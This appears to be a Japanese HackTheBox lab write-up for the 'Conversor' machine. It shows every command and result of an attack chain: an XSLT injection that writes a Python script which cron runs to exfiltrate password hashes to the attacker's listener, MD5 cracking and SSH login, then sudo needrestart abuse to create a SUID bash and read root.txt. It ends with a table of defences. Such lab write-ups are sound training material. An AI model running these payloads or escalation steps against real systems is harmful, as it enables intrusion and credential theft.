HackTheBox: Conversor — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http (conversor.htb)
→
22/ssh, 80/http (conversor.htb)
アカウント登録・ログイン
XML/XSLT変換アプリ
→
XML/XSLT変換アプリ
XSLT injection
exsl:document で pwn.py 書込
→
exsl:document で pwn.py 書込
cron RCE (www-data)
毎分実行、users.db exfil
→
毎分実行、users.db exfil
MD5クラック
john + rockyou.txt
→
john + rockyou.txt
SSH fismathack
user.txt ✓
→
user.txt ✓
sudo needrestart
GTFOBins -c (Perl system())
→
GTFOBins -c (Perl system())
SUID bash
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.238.31
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
BASH
nmap -sV -sC -p 22,80 10.129.238.31
RESULT
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
ℹ️
ルート直下は
conversor.htb vhost へ301リダイレクトされる。
/etc/hosts に 10.129.238.31 conversor.htb を追加してアクセスすると
/register.php へさらにリダイレクトされ、XML/XSLT変換アプリであることが判明する。
PHASE 2
アカウント登録・ログイン
新規アカウント登録
BASH
curl -s -c cookies.txt http://conversor.htb/register.php curl -s -c cookies.txt -b cookies.txt \ --data-urlencode "username=attacker" \ --data-urlencode "password=Password123!" \ --data-urlencode "confirm_password=Password123!" \ http://conversor.htb/register.php
BASH
curl -s -c cookies.txt -b cookies.txt \ --data-urlencode "username=attacker" \ --data-urlencode "password=Password123!" \ http://conversor.htb/login.php
RESULT
ログイン成功、セッションCookie取得
アプリは XML ファイルと XSLT スタイルシートをアップロードして
変換(/convert エンドポイント)できる機能を提供している。
PHASE 3
XSLT Injection → cron RCE → user.txt
バックエンドの実装調査
NOTE
アプリの app.py はアップロードされた XSLT を無検証のまま lxml.etree.XSLT() に渡して XML を変換している(XSLT injection)。 さらに install.md 相当の情報から、/var/www/conversor.htb/scripts/*.py に置かれたファイルが cron によって毎分 www-data 権限で実行される ことが判明している(公式ドキュメント/PDFウォークスルーに記載)。
悪性 XSLT で pwn.py を書き込む
PWN.XSLT (lxml exsl:document 利用)
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/pwn.py" method="text">
import sqlite3, urllib.request
con = sqlite3.connect("/var/www/conversor.htb/instance/users.db")
rows = con.execute("SELECT username, password FROM user").fetchall()
data = "|".join(f"{u}:{p}" for u, p in rows)
urllib.request.urlopen(f"http://<Kali IP>:8000/?d={data}")
</exploit:document>
</xsl:template>
</xsl:stylesheet>
⚠️
XSLTファイルは well-formed な XML である必要があるため、Python コード内の
< > & を含む箇所(比較演算子・ビット演算など)は
避けるか正しくエスケープする。本チェーンでは urllib によるシンプルな GET リクエストのみを
使うことでこの問題を回避している。
C2リスナー起動 & アップロード
BASH (Kali側)
python3 -m http.server 8000
BASH (アップロード)
curl -s -b cookies.txt \ -F "xml=@scan.xml" -F "xslt=@pwn.xslt" \ http://conversor.htb/convert
NOTE
cron(www-data、毎分)が /var/www/conversor.htb/scripts/pwn.py を 拾って実行するまで最大130秒程度待機する(実機では約30秒で発火した)。
RESULT (C2リスナー側)
10.129.238.31 - - [01/Nov/2026] "GET /?d=fismathack:5b5c3ac3a1c897c94caad48e6c71fdec |dotrunner:c38a2596041205d84655100bfc... HTTP/1.1" 200 -
✅
cron RCE 成功! www-data 権限で pwn.py が実行され、
users.db(SQLite)内の全ユーザーの MD5 ハッシュを exfil できた。
MD5ハッシュのクラック
BASH
echo '5b5c3ac3a1c897c94caad48e6c71fdec' > conversor.hash john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt conversor.hash john --format=Raw-MD5 --show conversor.hash
RESULT
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3]) Keepmesafeandwarm (?) 1g 0:00:00:01 DONE ... Keiser01..Keepers137 ?:Keepmesafeandwarm 1 password hash cracked, 0 left
ℹ️
1秒未満でクラック成功(rockyou.txt収録の弱いパスワード)。hashcat
(
-m 0)でも独立に同じ値を確認済み。
SSH ログイン & user.txt 取得
BASH
sshpass -p 'Keepmesafeandwarm' ssh fismathack@10.129.238.31 \ "id; cat ~/user.txt"
RESULT
uid=1000(fismathack) gid=1000(fismathack) groups=1000(fismathack)
50b9fd3cfd06bff624cf9e490c4e4dab
user.txt — fismathack
50b9fd3cfd06bff624cf9e490c4e4dab
PHASE 4
sudo needrestart (GTFOBins -c) → root.txt
sudo 権限の確認
BASH
fismathack@conversor:~$ sudo -l
RESULT
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=..., use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
🚨
needrestart はパスワード無しで root として実行可能。このバージョン(3.7系、
CVE-2024-48990が存在する範囲)は GTFOBins に記載の -c(カスタム設定ファイル)
オプションを通じて Perl の system() 呼び出しを任意コマンド実行に悪用できる。
needrestart -c で SUID bash を作成
BASH
printf 'system("cp /bin/bash /tmp/.poc; chmod u+s /tmp/.poc")' > /tmp/.cmd.conf
sudo /usr/sbin/needrestart -c /tmp/.cmd.conf
ℹ️
needrestart は指定された設定ファイル(
-c)を Perl の do 相当で
読み込んで評価する実装になっており、設定ファイル中に書いた system(...)
呼び出しがそのまま root 権限で実行される(GTFOBins “Sudo” の needrestart エントリに
記載の標準テクニック)。
SUID bash を使って root.txt 取得
BASH
/tmp/.poc -p -c 'cat /root/root.txt'
RESULT
39de3558803887301b305c27b1b3b602
✅
root化成功!
/tmp/.poc(SUID付きbashコピー)を
-p(privilege不放棄)オプション付きで実行することで実効UID 0 のまま
コマンドを実行でき、root 所有の root.txt を直接読み取れる。
root.txt — Administrator
39de3558803887301b305c27b1b3b602
補足: CVE-2024-48990 (PYTHONPATH注入) 副経路
NOTE
needrestart 3.7未満のバージョンでは、needrestart自身がPythonインタープリタの 存在チェック時にPYTHONPATH環境変数を信頼してしまう脆弱性(CVE-2024-48990)も 別経路として知られている。攻撃者が制御可能なディレクトリに偽の importlib/__init__.so を配置しPYTHONPATHで指し示すことで、needrestart実行時に 任意の共有ライブラリをロードさせRCEを得る手法。本チェーンでは GTFOBins -c 経由の方がシンプルかつ確実なため主経路として採用し、CVE-2024-48990は 使用しなかった(環境によっては-cオプション自体が制限されている場合の 代替手段として有効)。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — fismathack
50b9fd3cfd06bff624cf9e490c4e4dab
root.txt — Administrator
39de3558803887301b305c27b1b3b602
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| XSLT Injection | app.py (lxml.etree.XSLT 無検証呼出) | 任意ファイル書き込み(cron経由でRCEに発展) | Critical | exsl:document拡張要素でサーバー上の任意パスにPythonスクリプトを書き込み、cronで発火させる |
| 弱いパスワード(MD5, salt無し) | users.db (SQLite) | 認証情報クラック | Medium | john –format=Raw-MD5 + rockyou.txt で1秒未満でクラック |
| CVE-2024-48990 / GTFOBins needrestart -c | needrestart 3.7(sudo NOPASSWD) | 権限昇格(fismathack→root) | High | -cオプションで渡したPerl設定ファイル内のsystem()呼び出しがroot権限で実行される |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhost発見 | 22/ssh, 80/http (conversor.htb) |
| 2 | アカウント登録 | register.php + login.php | 認証済みセッション |
| 3 | XSLT injection | exsl:document でpwn.py書込 → cron RCE | users.db資格情報exfil |
| 4 | クラック+SSH | john Raw-MD5 + rockyou.txt | user.txt 取得(fismathack:Keepmesafeandwarm) |
| 5 | 権限調査 | sudo -l | NOPASSWD /usr/sbin/needrestart を確認 |
| 6 | 権限昇格 | needrestart -c (GTFOBins) → SUID bash | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ユーザー提供のXSLTを無検証でlxml.etree.XSLT()に渡している(XSLT injection) | XSLT処理時に拡張要素(exsl:document等)を無効化する(lxmlのforbid_dtd/拡張機能制限オプション)。信頼できないXSLTは専用のサンドボックスプロセスで処理する。 |
| www-data権限のcronジョブが、Webアプリが書き込み可能なディレクトリ内の任意スクリプトを実行する設計 | cronで実行するスクリプトの配置ディレクトリをWebアプリの書き込み権限から分離し、root所有・www-data書込不可のパーミッションにする。 |
| パスワードをMD5(salt無し)でハッシュ化している | bcrypt/scrypt/Argon2等の低速・salt付きハッシュ関数へ移行する。 |
| needrestart に sudo NOPASSWDを付与し、かつ脆弱なバージョン(-cオプション悪用可能)を使用 | needrestartを最新版(3.8以降)へアップデートし、sudoers委譲は真に必要な場合のみ、特定引数パターンに限定する(ワイルドカード無し)。 |

